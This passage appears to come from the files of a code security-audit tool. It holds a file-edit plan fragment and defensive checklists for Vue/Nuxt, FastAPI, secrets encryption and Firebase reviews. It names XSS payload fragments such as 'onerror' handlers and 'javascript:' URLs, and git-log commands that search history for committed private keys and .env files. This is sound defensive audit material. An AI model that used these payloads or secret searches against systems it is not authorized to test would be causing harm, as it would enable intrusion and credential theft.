| `prompts/fix-planner.md`            | Edit (LOD output)                                                            | 2e         |
| Remaining 11 prompt files           | Edit (LOD output + incidental placeholder)                                   | 2e         |
| `templates/finding.md`              | Edit (add LOD-0, LOD-1, LOD-2 definitions)                                   | 2a         |
| `templates/agent-common.md`         | **Create** (shared LOD output + incidentals)                                 | 2b         |
| `templates/wave-report.md`          | Edit (LOD-0 table + refs)                                                    | 2d         |
| `security-analyst.md`               | Edit (FINDINGS_DIR, LOD spawning, consolidation, mapping table, wave->group) | 2c, 3a, 5b |
| `SKILL.md`                          | Edit (LOD docs, group rename, context budget, directory listing)             | 3b, 6      |
| `full.md`                           | Rewrite (slim + group rename)                                                | 3c, 4a     |
| `recon.md`                          | Rewrite (slim)                                                               | 4b         |
| `prompts/threat-model-agent.md`     | **Create**                                                                   | 5a         |
| `threat-model.md`                   | Edit (use new agent prompt)                                                  | 5a         |
| `plugins/README.md`                 | Edit (add conflict guidance)                                                 | 5b         |


**Total: 30 file edits, 2 new files created**

path: references/plugins/vuejs-nuxtjs.md
content: ---
name: Vue.js / Nuxt.js
detect:
  files: ["nuxt.config.js", "nuxt.config.ts", "vue.config.js"]
  dependencies: ["vue", "nuxt", "@nuxt/kit", "vuex", "pinia"]
  keywords: ["Vue", "Nuxt", "Vue.js", "Nuxt.js"]
---

## attack-surface-frontend

**Vue.js XSS Vectors:**
1. **`v-html` Directive:**
   - Grep for `v-html` in all `.vue` files — this renders raw HTML without escaping
   - For each occurrence: is the bound value user-controlled or derived from user input?
   - Can an attacker inject `<script>`, `<img onerror=...>`, or event handlers via `v-html`?
2. **Dynamic Component Rendering:**
   - Grep for `:is` or `v-bind:is` on `<component>` — can an attacker control which component renders?
   - Are there `render()` functions or JSX that interpolate user content?
3. **Template Compilation at Runtime:**
   - Is `Vue.compile()` or `app.config.compilerOptions` used with user-controlled templates?
   - Is the full Vue build (with template compiler) shipped to production? (enables runtime template injection)
4. **URL Injection:**
   - Grep for `:href`, `:src`, `:action` bindings with user-controlled values
   - Can an attacker inject `javascript:` protocol URLs?
   - Are `router.push()` / `router.replace()` calls using unsanitized user input? (open redirect)
5. **Vue Devtools in Production:**
   - Is `Vue.config.devtools` or `app.config.performance` enabled in production? (exposes component state)
   - Is `__VUE_DEVTOOLS_GLOBAL_HOOK__` accessible?

**Nuxt.js-Specific:**
6. **Server Routes (Nuxt 3):**
   - Glob for `server/api/**/*.ts`, `server/routes/**/*.ts`, `server/middleware/**/*.ts`
   - Do server API routes validate auth? (Nuxt server routes have no built-in auth middleware)
   - Is `readBody()`, `getQuery()`, `getRouterParams()` input validated before use?
7. **SSR Data Leaking:**
   - Are server-side `useAsyncData()` or `useFetch()` calls returning sensitive data that gets serialized to `__NUXT_DATA__`?
   - Check the HTML source for `<script>window.__NUXT__=` — does it contain data not intended for the client?
8. **Nuxt Plugins:**
   - Do Nuxt plugins (`plugins/` directory) run on both server and client? Is server-only data leaking through shared plugin state?

## attack-surface-http

**Nuxt Server Endpoints:**
1. Glob for `server/api/**` and `server/routes/**` — these are Nuxt's server-side HTTP handlers
   - Are all endpoints using `defineEventHandler` with proper input validation?
   - Is `readBody` used without schema validation?
   - Can query parameters from `getQuery()` inject unexpected types?
2. **Middleware:**
   - Read `server/middleware/` files — do they enforce auth on all protected routes?
   - Is there a gap between Nuxt route middleware (client-side) and server middleware (actual protection)?

## config-infrastructure

**Nuxt Configuration Security:**
1. Read `nuxt.config.ts`/`nuxt.config.js`:
   - Is `ssr: false` set? (SPA mode loses server-side security boundaries)
   - Check `runtimeConfig` vs `runtimeConfig.public` — are secrets in the public config?
   - Is `devtools` enabled in production?
2. **Environment Variables:**
   - Nuxt exposes `NUXT_PUBLIC_*` variables to the client — are there secrets with this prefix?
   - Is `runtimeConfig` used instead of hardcoded values for API keys?
3. **Nitro Configuration:**
   - Check `nitro.routeRules` for security headers and caching rules
   - Are there route rules that disable CORS or security headers for specific paths?

## dependency-audit

**Vue/Nuxt Dependency Concerns:**
1. Check Vue version for known XSS bypasses in template compiler
2. If using `vue-sanitize` or `dompurify` for HTML sanitization: is it configured correctly?
3. Are Nuxt modules from `nuxt.config` from trusted sources? (community modules may have vulnerabilities)
4. Is `@nuxt/content` used? Check for Markdown injection if content is user-contributed


path: references/plugins/python-fastapi.md
content: ---
name: Python + FastAPI
detect:
  files: []
  dependencies: ["fastapi", "uvicorn"]
  keywords: ["FastAPI"]
---

## attack-surface-http

**Pydantic Model Validation Bypass:**
1. FastAPI uses Pydantic models for request validation — but validation can be bypassed:
   - Are there endpoints that accept `dict`, `Any`, or `Body(...)` without a Pydantic model? These skip validation
   - Are Pydantic models using `model_config = ConfigDict(extra="allow")`? This allows clients to send extra fields that pass validation
   - Are there `validator` or `field_validator` decorators that can be tricked? (e.g., regex validators with ReDoS patterns)
   - Is `orm_mode` / `from_attributes` used? Check that ORM objects don't expose sensitive fields when serialized

2. **Dependency Injection Auth Checks:**
   - FastAPI uses `Depends()` for auth — Grep for all dependency functions used for authentication
   - Are auth dependencies applied to all routes that need them? (easy to forget on a new endpoint)
   - Can auth dependencies be bypassed by passing the right parameters? (e.g., optional auth: `Depends(optional_auth)` where `None` is valid)
   - Are there endpoints with `dependencies=[Depends(auth)]` at the router level that have routes inadvertently excluded?

3. **File Upload Security:**
   - Grep for `UploadFile`, `File(...)` parameters
   - Are file uploads size-limited? (check for `UploadFile` without `max_size` or middleware-level limits)
   - Is the file content type validated server-side? (client-sent `content_type` is spoofable)
   - Are uploaded files written to a safe location? (path traversal via filename: `file.filename` comes from the client)
   - Are uploaded files scanned or validated before processing?

4. **Background Task Auth Context:**
   - Grep for `BackgroundTasks`, `background_tasks.add_task`
   - Do background tasks inherit the request's auth context? (they run after the response is sent — the auth state may be stale)
   - Can a background task perform privileged operations without re-verifying authorization?
   - Are background task failures handled? (no built-in retry or error handling)

5. **ASGI Middleware Ordering:**
   - Middleware in FastAPI/Starlette executes in reverse registration order (last registered = outermost = runs first)
   - Is auth middleware registered AFTER (so it runs BEFORE) other middleware?
   - Can CORS middleware response headers leak information before auth middleware rejects the request?

6. **Path Operation Quirks:**
   - FastAPI matches routes in order of declaration — can a less-restrictive route shadow a more-restrictive one?
   - Path parameters are strings by default — are they type-validated? (`/users/{user_id:int}` vs `/users/{user_id}`)
   - Are there routes with `response_model` that might expose sensitive fields from the ORM model?
   - Is `response_model_exclude` used correctly? (easier to accidentally include than to whitelist with `response_model_include`)

## config-infrastructure

**CORS Middleware:**
1. Read `CORSMiddleware` configuration:
   - Is `allow_origins=["*"]` used? (allows any origin)
   - Is `allow_credentials=True` combined with broad origins? (dangerous — enables cross-origin cookie access)
   - Are `allow_methods` and `allow_headers` restricted to what's needed?

**Server Configuration:**
2. Uvicorn/Gunicorn security:
   - Is `--reload` flag used in production? (auto-reloads on file changes — security risk if an attacker can write files)
   - Is the server binding to `0.0.0.0` or a specific interface?
   - Are Gunicorn workers configured with timeouts to prevent slow request DoS?
   - Is `--access-log` enabled for audit trailing?

3. **OpenAPI/Swagger UI Exposure:**
   - Is the auto-generated Swagger UI (`/docs`) and ReDoc (`/redoc`) accessible in production?
   - Is the OpenAPI schema (`/openapi.json`) exposing internal API structure?
   - Can these endpoints be disabled in production? (Grep for `docs_url=None`, `redoc_url=None`, `openapi_url=None`)

4. **Environment and Debug Settings:**
   - Is `debug=True` set in the FastAPI app constructor in production?
   - Are there custom exception handlers that return stack traces based on a debug flag?
   - Is `PYTHONDONTWRITEBYTECODE` set? (prevents `.pyc` file creation that could leak source in shared environments)


path: references/plugins/secrets-encryption-storage.md
content: ---
name: Secrets Encryption Storage
detect:
  files: ["vault.hcl", "vault-config.json", ".vault-token", "kms.tf", "kms-config.json", "encryption.yml", "encryption.yaml"]
  dependencies: ["@aws-sdk/client-kms", "@google-cloud/kms", "@azure/keyvault-keys", "@azure/keyvault-secrets", "node-vault", "hashi-vault-js", "hashicorp-vault", "cryptography", "pycryptodome", "pycryptodomex", "python-gnupg", "keyring", "aws-encryption-sdk", "google-cloud-kms", "azure-keyvault", "tink", "libsodium-wrappers", "tweetnacl", "node-forge", "sjcl", "aes-js", "crypto-js", "jose", "jasypt", "javax.crypto", "bouncycastle", "sqlcipher", "prisma-field-encryption", "typeorm-encrypted", "django-encrypted-model-fields", "django-fernet-fields", "attr_encrypted", "lockbox", "vault-rails", "ciphersweet"]
  keywords: ["KMS", "Key Management", "Vault", "HashiCorp Vault", "Envelope Encryption", "Field-Level Encryption", "Column Encryption", "Transparent Data Encryption", "Client-Side Field Level Encryption"]
---

## recon-agent

**Secrets Encryption Storage Discovery:**
1. Search for encryption service/utility files:
   - Grep for `encrypt`, `decrypt`, `cipher`, `kms`, `keyring`, `vault` in filenames and imports
   - Identify the encryption library in use and its configuration
   - Map which data models/tables store encrypted fields
2. Identify the key management architecture:
   - Is there a dedicated KMS (AWS KMS, GCP Cloud KMS, Azure Key Vault, HashiCorp Vault)?
   - Or are keys managed in application code / config files?
   - Is envelope encryption used (DEK + KEK separation)?
3. Find database schema files that define encrypted columns:
   - Grep for `BYTEA`, `VARBINARY`, `BLOB`, `ciphertext`, `encrypted_`, `_encrypted`, `_enc`
   - Check ORM model definitions for encryption decorators/annotations (`@Encrypted`, `encrypted=True`, `attr_encrypted`)
   - Look for migration files that add encryption-related columns (iv, auth_tag, key_id, algorithm)
4. Map the secret lifecycle:
   - Where are secrets first received (API input, file upload, environment variable)?
   - Where are they encrypted?
   - Where is the ciphertext stored?
   - Where are they decrypted and used?

## config-infrastructure

**Secrets Encryption Storage — Algorithm & Configuration Audit:**

1. **Algorithm Choice:**
   - Read the encryption service/utility code and identify the algorithm
   - **Critical**: Is AES used in ECB mode? (ECB preserves plaintext patterns — always a finding)
   - **Critical**: Is DES, 3DES, RC4, or Blowfish used? (deprecated/weak algorithms)
   - **High**: Is AES-CBC used without a separate HMAC? (vulnerable to padding oracle attacks without authenticated encryption)
   - **Preferred**: AES-256-GCM (authenticated encryption — provides confidentiality + integrity in one operation)
   - Check RSA key sizes: < 2048 bits is a finding; 4096+ bits recommended for long-term secrets
   - If using elliptic curves: is the curve a NIST-approved or widely-trusted curve (P-256, P-384, Curve25519)?

2. **IV/Nonce Management:**
   - **Critical**: Are IVs/nonces hardcoded or static? (reusing an IV with the same key in GCM completely breaks confidentiality AND authenticity)
   - **Critical**: Are IVs generated with a non-cryptographic RNG? (Grep for `Math.random`, `random.random`, `rand()` near encryption code — must use `crypto.randomBytes`, `secrets.token_bytes`, `os.urandom`, `SecureRandom`)
   - **High**: Is the IV stored alongside the ciphertext? (it should be — the IV is not secret, but must be unique)
   - For AES-GCM: verify 96-bit (12-byte) nonces; for AES-CBC: verify 128-bit (16-byte) IVs
   - Check: is the same key used for more than 2^32 encryptions with GCM? (nonce collision probability becomes dangerous)

3. **Key Hierarchy — Envelope Encryption:**
   - Does the system use envelope encryption (DEK encrypted by KEK)?
   - **Critical**: Is the master key / KEK stored in the same database as the ciphertext? (single point of compromise)
   - **Critical**: Is the encryption key derived from a predictable value (user ID, email, timestamp)?
   - **High**: Is there a single DEK for all secrets? (compromising one key exposes everything)
   - Is the KEK stored in a dedicated KMS/HSM, or in application config/environment variables?
   - Can the application extract the raw KEK material, or does encryption happen inside the KMS? (KMS-side encryption is preferred)

4. **Key Rotation:**
   - Is automatic key rotation configured in the KMS?
   - When the KEK rotates: are existing DEKs re-wrapped with the new KEK?
   - When a DEK rotates: are existing ciphertexts re-encrypted?
   - Is the old key version retained for decryption of existing ciphertexts?
   - Are key version IDs stored alongside ciphertexts so the system knows which key to use?
   - **High**: Is there no key rotation at all? (stale keys accumulate risk over time)

5. **Plaintext Fallback on Failure:**
   - **Critical**: If KMS is unavailable, does the system fall back to storing secrets in plaintext?
   - **Critical**: If decryption fails, does the error response leak the ciphertext, key ID, or algorithm details?
   - Does the system fail open (allow access to unencrypted data) or fail closed (deny access)?

6. **Schema Completeness:**
   - Does the encrypted secrets schema store: ciphertext, IV/nonce, auth tag (if separate), encrypted DEK, KEK version ID, algorithm identifier?
   - **High**: Missing algorithm identifier means you cannot migrate algorithms later without guessing
   - **High**: Missing KEK version ID means you cannot rotate keys without trial decryption
   - Is there an `expires_at` or TTL on secrets? (secrets should not live forever)

7. **Memory Handling of Plaintext Secrets:**
   - After decryption, is the plaintext secret zeroed from memory? (check for `zeroize`, `SecureString`, `Arrays.fill`, `memset`, explicit buffer clearing)
   - Is the plaintext logged anywhere? (Grep for log statements near decrypt calls — `console.log`, `logger.debug`, `print`, `logging.debug`)
   - Is the plaintext included in error messages, stack traces, or crash dumps?
   - Are core dumps disabled for processes handling secrets? (`ulimit -c 0`, `prctl(PR_SET_DUMPABLE, 0)`)

8. **Encryption at Rest vs Application-Level Encryption:**
   - Is the project relying ONLY on database-level Transparent Data Encryption (TDE)?
   - TDE protects against disk theft but NOT against: a compromised application, SQL injection reading decrypted data, database admin access, or backup exposure
   - **High**: If TDE is the only encryption layer and the threat model includes application compromise, application-level encryption is needed too

## attack-surface-authz

**Secrets Table Access Control:**
1. **Database Permissions on Secrets Tables:**
   - Which database users/roles have `SELECT` on the secrets/encrypted columns?
   - **High**: Does the application connect with a single database user that has access to both the secrets table and all other tables?
   - Are column-level permissions used to restrict who can read ciphertext columns?
   - Are row-level security (RLS) policies in place to scope secret access by tenant/owner?
2. **API-Level Access to Secrets:**
   - Which API endpoints can trigger secret decryption?
   - Is there a bulk-read or export endpoint that decrypts multiple secrets at once? (amplification risk)
   - Are decrypt operations rate-limited?
   - Is there an authorization check BEFORE the decrypt call, or does the system decrypt first and check permissions after? (decrypt-then-authz leaks timing information)
3. **KMS IAM Permissions:**
   - Which service accounts / IAM roles have `encrypt` and `decrypt` permissions on the KEK?
   - **High**: Does the application have both `encrypt` and `decrypt` permissions when it only needs one? (a write-only service should only have `encrypt`)
   - Can a compromised service account use the KMS key for purposes beyond its intended scope?
   - Are KMS audit logs enabled and monitored?

## data-flow-tracer

**Plaintext Secret Lifecycle Tracing:**
For each flow where an encrypted secret is decrypted and used:
1. **Decryption Point**: Where exactly is the secret decrypted? Is it decrypted just-in-time (immediately before use) or eagerly (at request start)?
2. **Plaintext Propagation**: After decryption, trace where the plaintext goes:
   - Is it passed through function parameters? (acceptable if scoped)
   - Is it stored in a class field, global variable, or cache? (dangerous — extends exposure window)
   - Is it written to a temporary file? (check cleanup)
   - Is it sent over the network? (verify TLS)
3. **Plaintext Cleanup**: Is the plaintext explicitly cleared after use?
   - In garbage-collected languages (JS, Python, Java, Go): immutable strings cannot be zeroed — check if byte arrays are used instead
   - Is there a `try/finally` or equivalent ensuring cleanup even on error paths?
4. **Caching Layer**: Is decrypted data cached (Redis, Memcached, in-memory)?
   - **High**: Is the cache encrypted at rest and in transit?
   - Are cache entries TTL-bounded?
   - Can an attacker access the cache directly and read plaintext secrets?
5. **Logging and Observability**:
   - Are there structured logging frameworks that might serialize the entire request/response including decrypted secrets?
   - Are APM/tracing tools capturing function arguments that include plaintext secrets?

## git-history-data-exposure

**Historical Encryption Key and Plaintext Exposure:**
1. Search git history for committed encryption keys or master secrets:
   - `git log --all -p -S "ENCRYPTION_KEY"` / `"MASTER_KEY"` / `"KEK"` / `"DEK"` / `"AES_KEY"`
   - `git log --all -p -S "BEGIN RSA PRIVATE KEY"` / `"BEGIN EC PRIVATE KEY"` / `"BEGIN PRIVATE KEY"`
   - Check for deleted `.env` or config files that once contained key material: `git log --all --diff-filter=D -- "*.env" "*.key" "*.pem"`
2. Check for algorithm downgrades in history:
   - Was the project previously using a stronger algorithm that was downgraded? (may indicate a deliberate weakening)
   - Were IVs previously random and then changed to static/sequential?
3. Check for migration from plaintext to encrypted storage:
   - Was data previously stored in plaintext? Are there migration scripts?
   - **Critical**: Were plaintext values left in the database after migration? (check migration scripts for DELETE/cleanup steps)
   - Were database backups from the plaintext era purged?

## logic-race-conditions

**Key Rotation Race Conditions:**
1. During key rotation, can a request arrive that:
   - Encrypts with the old key while the rotation marks the old key as inactive? (ciphertext becomes undecryptable)
   - Reads a partially-rotated state where some DEKs are re-wrapped and others are not?
   - Causes a double-encryption if the rotation and a normal encrypt operation race?
2. **Concurrent Decrypt/Re-encrypt:**
   - If re-encryption runs as a background job, can a concurrent read get a half-re-encrypted record?
   - Are re-encryption operations transactional? (read old ciphertext + write new ciphertext must be atomic)
3. **Secret Update Races:**
   - If two requests update the same secret simultaneously, can one overwrite the other's ciphertext with a stale IV? (IV reuse under concurrency)
   - Is the encrypt-then-write operation atomic? Or can a crash between encrypt and write leave inconsistent state?

## dependency-audit

**Cryptographic Library Audit:**
1. **Library Currency:**
   - Is the crypto library actively maintained? Check for recent releases and known CVEs
   - **Critical**: Is the project using `crypto-js`? (multiple known vulnerabilities, unmaintained since 2021 — migrate to `@noble/ciphers`, `libsodium-wrappers`, or the Web Crypto API)
   - Is `node-forge` up to date? (has had padding oracle CVEs)
   - For Python: is `pycryptodome` used instead of the deprecated `pycrypto`?
2. **Native vs Pure-JS Implementations:**
   - Is a pure-JavaScript crypto implementation used where a native one is available? (timing side-channel risks in pure-JS)
   - Preferred: Node.js built-in `crypto` module, Web Crypto API, or wasm-based libraries with constant-time guarantees
3. **KMS SDK Versions:**
   - Are KMS client SDKs up to date? (older versions may have auth bypass or request signing issues)
   - Are there pinned SDK versions that are known-vulnerable?


path: references/plugins/firebase.md
content: ---
name: Firebase
detect:
  files: ["firebase.json", "firestore.rules", ".firebaserc", "database.rules.json"]
  dependencies: ["firebase-admin", "firebase-functions", "@firebase/app", "@firebase/auth", "@firebase/firestore"]
  keywords: ["Firebase", "Firestore", "Cloud Functions for Firebase"]
---

## attack-surface-http

**Cloud Tasks & Background Function Authentication:**
1. Are Cloud Tasks endpoints validating OIDC tokens from the task queue service account?
   - Grep for `onTaskDispatched`, `onDispatch`, Cloud Tasks handler patterns
   - Check: is the OIDC audience verified? Can an attacker call the endpoint directly without a valid task token?
2. Can an attacker enqueue arbitrary Cloud Tasks by calling the task creation API directly?
   - Check: are task creation permissions restricted to the correct service account?

**Firestore Trigger Data Injection:**
3. For each `onDocumentCreated`, `onDocumentWritten`, `onDocumentUpdated` trigger:
   - Can a client write to the triggering collection with attacker-controlled data?
   - Does the trigger function trust the document data without validation?
   - Can the trigger be used to escalate privileges? (e.g., writing a document that triggers admin-level processing)

**Pub/Sub Message Authentication:**
4. For each `onMessagePublished` handler:
   - Is the Pub/Sub subscription authenticated?
   - Can an attacker publish messages directly to the topic?
   - Is message data validated in the handler?

**Recursive Trigger Detection (Self-DoS Risk):**
5. Can a function trigger cause a loop? (Function A writes to Firestore -> triggers Function B -> writes back -> triggers Function A)
   - Check for write operations inside Firestore trigger handlers that target the same or related collections
   - Per Firebase checklist: test functions locally with the emulator suite before deploying to catch infinite trigger-write loops
   - If a self-DoS occurs, the fix is to undeploy the function by removing it from `index.js` and running `firebase deploy --only functions`

**Callable Function Auth:**
6. For each `onCall` / `onRequest` handler:
   - Is `context.auth` checked before processing?
   - For `onRequest`: is auth handled manually? (Firebase Auth is NOT automatic for HTTP functions)
   - Can an unauthenticated request reach processing logic?

**Defensive Function Design:**
7. Per Firebase checklist: where real-time responsiveness is less important, are functions structured defensively?
   - Are results published to Pub/Sub and processed in batches via scheduled functions (to mitigate abusive traffic)?
   - Are simple functions preferred over complex ones? (complexity leads to hard-to-spot bugs — consider Cloud Run for complex logic)

## attack-surface-authz

**Firestore Security Rules — Existence and Mode:**
1. Do Firestore security rules actually exist?
   - Glob for `firestore.rules`, `*.rules` in the project root
   - If no rules file exists: **Critical** — the database may be using default open rules
   - Read `firebase.json` and check if `firestore.rules` is referenced — if not, rules may not be deployed
2. Were rules initialized in **production mode** (deny all by default)?
   - Per Firebase checklist: rules should deny all access by default, with specific allow rules added per resource
   - Check: does the root have `allow read, write: if false;`? Or is there a wide-open `allow read, write: if true;` or `allow read, write: if request.auth != null;` at the top level?
   - A rule like `allow read, write: if request.auth != null;` at the root is almost as bad as no rules — any authenticated user can read/write anything

**Firestore Security Rules Deep Analysis:**
3. Read `firestore.rules` completely and analyze:
   - **`rules_version`**: Is `rules_version = '2';` declared at the top? Version 1 is legacy with different wildcard and recursive behavior — version 2 is required for collection group queries and recommended for all new projects
   - **Wildcard paths**: Are `{document=**}` wildcards used? These match all subcollections and can create overly permissive rules
   - **Collection group queries**: Are there `match /{path=**}/collectionName/{doc}` rules? These apply to collection group queries across all parent documents — verify the ownership check is correct
   - **`request.resource.data` vs `resource.data`**: `request.resource.data` is what the client is trying to write; `resource.data` is the current document state. Confusing these is a common source of write bypass
   - **Field-level validation**: Are rules checking specific fields the client can set? Or just checking auth?
   - **Server-enforced fields**: Can a client write to fields that should only be set server-side (timestamps, counters, status)?

4. **Granular CRUD Operation Splitting:**
   - Are rules using broad `allow read` / `allow write` instead of granular operations?
   - `read` should be split into `get` (single document) and `list` (collection queries) where different access levels are needed — a user may be allowed to `get` their own document but should not `list` the entire collection
   - `write` should be split into `create`, `update`, and `delete` — each has different security implications:
     - `create`: validate all required fields are present, ownership field matches `request.auth.uid`
     - `update`: prevent ownership transfer — check BOTH `request.resource.data.author_uid == request.auth.uid` AND `resource.data.author_uid == request.auth.uid` to prevent a user from changing the owner field
     - `delete`: may need stricter conditions than update (e.g., only admins can delete)
   - Overly broad `allow write: if request.auth.uid != null` gives authenticated users create + update + delete on everything

5. **Data Type and Schema Validation in Rules:**
   - Are rules validating the **types** of incoming fields? (e.g., `request.resource.data.amount is number`, `request.resource.data.name is string`)
   - Are rules enforcing **required fields**? (e.g., `request.resource.data.keys().hasAll(['name', 'email', 'createdAt'])`)
   - Are rules preventing **extra fields**? (e.g., checking `request.resource.data.keys().hasOnly(['name', 'email', 'createdAt', 'updatedAt'])` to prevent clients from adding arbitrary fields like `role` or `isAdmin`)
   - Are rules validating **field value constraints**? (e.g., string length limits with `request.resource.data.name.size() < 100`, numeric ranges)
   - Are rules enforcing **immutable fields**? (e.g., on update, `request.resource.data.createdAt == resource.data.createdAt` to prevent clients from changing creation timestamps)

6. **Time-Based Access Rules:**
   - Are `request.time` checks used for temporal access controls? (e.g., `allow read: if resource.data.publishDate <= request.time` for embargoed content)
   - Are there time-limited tokens or expiring access patterns that use timestamps in rules?
   - Can an attacker exploit stale timestamp comparisons? (Firestore server timestamps are authoritative but `request.resource.data` timestamps can be client-provided — always use `request.time` for server-authoritative time)

7. **Role-Based Access via `get()` Calls in Rules:**
   - Do rules use `get()` or `exists()` to check roles/permissions from other documents? (e.g., `get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "admin"`)
   - Each `get()` or `exists()` call in a rule counts as a **billed document read** — can an attacker cause excessive billing by triggering many rule evaluations?
   - Rules are limited to 10 `get()` calls per request — are complex role checks approaching this limit?
   - Can the referenced role document be modified by the user themselves? (if `users/{uid}` is user-writable and rules read roles from it, the user can self-escalate)

8. **Rules as Schema (Firebase Checklist Best Practice):**
   - Are security rules written alongside the data model? (not as a pre-launch afterthought)
   - Does every document type/path have a corresponding rule?
   - Are there paths that lack explicit rules? (in Firestore, unmatched paths are denied by default, but verify no wildcard rule grants unintended access)

9. **Security Rules Testing:**
   - Are there unit tests for security rules using the Firebase Emulator Suite? (Glob for test files with `@firebase/rules-unit-testing` or `firebase/testing` imports)
   - Are rules tests part of the CI pipeline?
   - Per Firebase checklist: untested rules are a significant risk — every rule path should have test coverage

**Realtime Database Rules (if applicable):**
10. If the project uses Realtime Database (check for `database.rules.json` or `"database"` in `firebase.json`):
    - Were rules initialized in **locked mode**? (`".read": false, ".write": false`)
    - Are there `".read": true` or `".write": true` at any level? (wide-open access)
    - Is `auth != null` the only check? (any authenticated user can read/write)
    - **Rule Cascade Gotcha**: RTDB rules cascade downward — a `.read: true` at a parent path **cannot be revoked** by `.read: false` at a child path. The child rule is silently ignored. Check for parent rules that are too permissive, since child rules can only GRANT additional access, never restrict it
    - Are there `$wildcard` variables used for path-delineated access? (e.g., `"$uid": { ".read": "auth.uid === $uid" }`)
    - Is `.validate` used for data shape enforcement? (`.validate` only runs on write, not on read — it cannot restrict read access)

**Cloud Storage Rules (if applicable):**
11. If the project uses Cloud Storage (check for `storage.rules` or `"storage"` in `firebase.json`):
    - Do rules default to deny? Per Firebase checklist, start with:
      ```
      allow read, write: if false;
      ```
    - Are upload size limits enforced in rules? (`request.resource.size < maxSize`)
    - Are content types validated? (`request.resource.contentType.matches('image/.*')`)
    - **Metadata-based ownership**: If `resource.metadata` is used for group/owner access control (e.g., `resource.metadata.owner == request.auth.token.groupId`), can an attacker set their own metadata on upload to claim ownership?
    - Are there path-based ownership rules? (e.g., `/user/{userId}/` prefix) — verify that `request.auth.uid == userId` is enforced and the user cannot write outside their path
    - Note: files may still be accessible via App Engine or Google Cloud Storage APIs even if Firebase Storage rules deny access — check for alternative access paths

**Firebase Auth Custom Claims:**
12. Are custom claims used for authorization? (Grep for `token.admin`, `token.role`, custom claim fields in rules)
    - Can a client influence their own custom claims? (Check if there's a callable function that sets claims based on user input)
    - Are claims propagated correctly? (Claims are set on the token and only refresh on token refresh — stale claims window)

13. **Cross-User Access:**
    - For each user-scoped collection (`users/{userId}/...`), verify rules enforce `request.auth.uid == userId`
    - For subcollections: do nested rules inherit the parent ownership check or do they need their own?
    - Are there admin bypass paths? How are admin users identified in rules? (custom claim? specific UID list?)

14. **Anonymous Auth in Rules:**
    - Per Firebase checklist: anonymous accounts are easy to create — protect non-public data with rules requiring specific sign-in providers or verified email
    - Check for rules that only check `request.auth != null` without verifying the sign-in provider or email verification
    - Look for: `request.auth.token.firebase.sign_in_provider != "anonymous"` or `request.auth.token.email_verified == true` on sensitive resources

## attack-surface-frontend

**Firebase API Keys:**
1. Firebase client config (`apiKey`, `authDomain`, `projectId`, etc.) is **public by design** and NOT a vulnerability — mark as Informational if found
   - Per Firebase checklist: API keys for Firebase services only identify the project, not control access
2. However, check:
   - Are there OTHER API keys mixed in with Firebase config that are NOT meant to be public? (FCM server keys, service account keys)
   - Per Firebase checklist: **FCM server keys** (legacy HTTP API) ARE sensitive and must be kept secret
   - Per Firebase checklist: **Service account private keys** (Admin SDK) ARE sensitive and must be kept secret
3. **API Key Restrictions:**
   - Are API key restrictions configured in the Google Cloud console? (app restrictions, API restrictions)
   - Per Firebase checklist: set up API key restrictions to scope keys to your app clients and the APIs you use

**Firebase Auth UI:**
4. If using Firebase Auth UI or `signInWithRedirect`/`signInWithPopup`:
   - Is the `authDomain` configured correctly? (custom domain vs default `.firebaseapp.com`)
   - Can the redirect URL be manipulated? (check `continueUrl` parameter handling)
   - Is `signInSuccessUrl` validated against an allowlist?

5. **Authentication Provider Security:**
   - Per Firebase checklist: OAuth 2.0 / OpenID Connect providers (Google, Facebook, etc.) are the most secure option
   - If using email-password auth: is the quota on `identitytoolkit.googleapis.com` endpoints tightened to prevent brute force?
   - If using email-password auth: is email enumeration protection enabled?
   - Is multi-factor authentication supported? (upgrade to Cloud Identity Platform)

6. **Anonymous Authentication:**
   - Per Firebase checklist: only use anonymous auth for warm onboarding, not as a replacement for user sign-in
   - Are anonymous users converted to permanent accounts before data needs to persist across devices?
   - Are security rules properly restricting what anonymous users can access?

**Firestore Client-Side Access:**
7. Are there client-side Firestore reads/writes? (Grep for `getDoc`, `setDoc`, `updateDoc`, `addDoc`, `onSnapshot`)
   - Is all client-side data access protected by Firestore rules?
   - Are there client-side writes that should only be server-side?

## config-infrastructure

**Firebase Hosting Configuration:**
1. Read `firebase.json` and analyze:
   - **Rewrites**: Do rewrite rules send unauthenticated requests to Cloud Functions? (rewrites bypass function-level auth checks if the function doesn't verify auth itself)
   - **Headers**: Is the `headers` section restrictive? Check for overly broad CORS (`Access-Control-Allow-Origin: *` on all paths)
   - **`cleanUrls` and `trailingSlash`**: These can create unexpected path resolution that bypasses path-based security checks
   - **Security headers**: Are CSP, HSTS, X-Frame-Options configured in firebase.json `headers`?

2. **Emulator Detection:**
   - Grep for `FIREBASE_EMULATOR`, `connectFirestoreEmulator`, `connectAuthEmulator`, `useEmulator`
   - Is there any code path that connects to emulators based on environment variables in production?
   - Can an attacker set environment variables to redirect traffic to a malicious endpoint?

3. **Firebase App Check:**
   - Is App Check enabled? (Grep for `appCheck`, `AppCheck`, attestation providers)
   - Per Firebase checklist: enable App Check for every service that supports it
   - Are Cloud Functions enforcing App Check? (Grep for `app-check` context)
   - Can App Check be bypassed by debug tokens left in production?

4. **Cloud Functions Secrets Management:**
   - Per Firebase checklist: **never put sensitive information in environment variables** for Cloud Functions (environments are reused between invocations)
   - Are secrets stored using Secret Manager? (Grep for `defineSecret`, `SecretManagerServiceClient`, `secret-manager`)
   - Are there hardcoded API keys, tokens, or private keys in function code?
   - If calling Google APIs: is the Admin SDK using automatic credential acquisition (no explicit service account key)?
   - If non-Google credentials are needed: are they accessed via Secret Manager, not env vars?
   - Per Firebase checklist: if sensitive information must be passed to functions, encrypt it with a custom solution

5. **Environment Separation:**
   - Per Firebase checklist: are there separate Firebase projects for development, staging, and production?
   - Can development credentials access production resources?
   - Is team access to the production project limited? (check predefined IAM roles or custom IAM roles)

6. **Monitoring and Budget Alerting:**
   - Per Firebase checklist: set up monitoring and alerting for Cloud Firestore, Realtime Database, Cloud Storage, and Hosting
   - Are budget alerts configured on the GCP project to detect unusual resource usage?
   - Is the Usage and billing dashboard monitored?

7. **IAM and Service Accounts:**
   - Are Cloud Functions using the default service account with overly broad permissions?
   - Are there custom service accounts with least-privilege permissions for each function?
   - Are there service account keys downloaded and stored insecurely? (service account private keys must be kept secret)

## dependency-audit

**Firebase Library Supply Chain:**
1. Per Firebase checklist: watch out for library misspellings or new maintainers when adding dependencies
   - Are Firebase SDK packages from the official `firebase` or `@firebase/` scope?
   - Are there similarly-named packages that could be typosquat attacks?
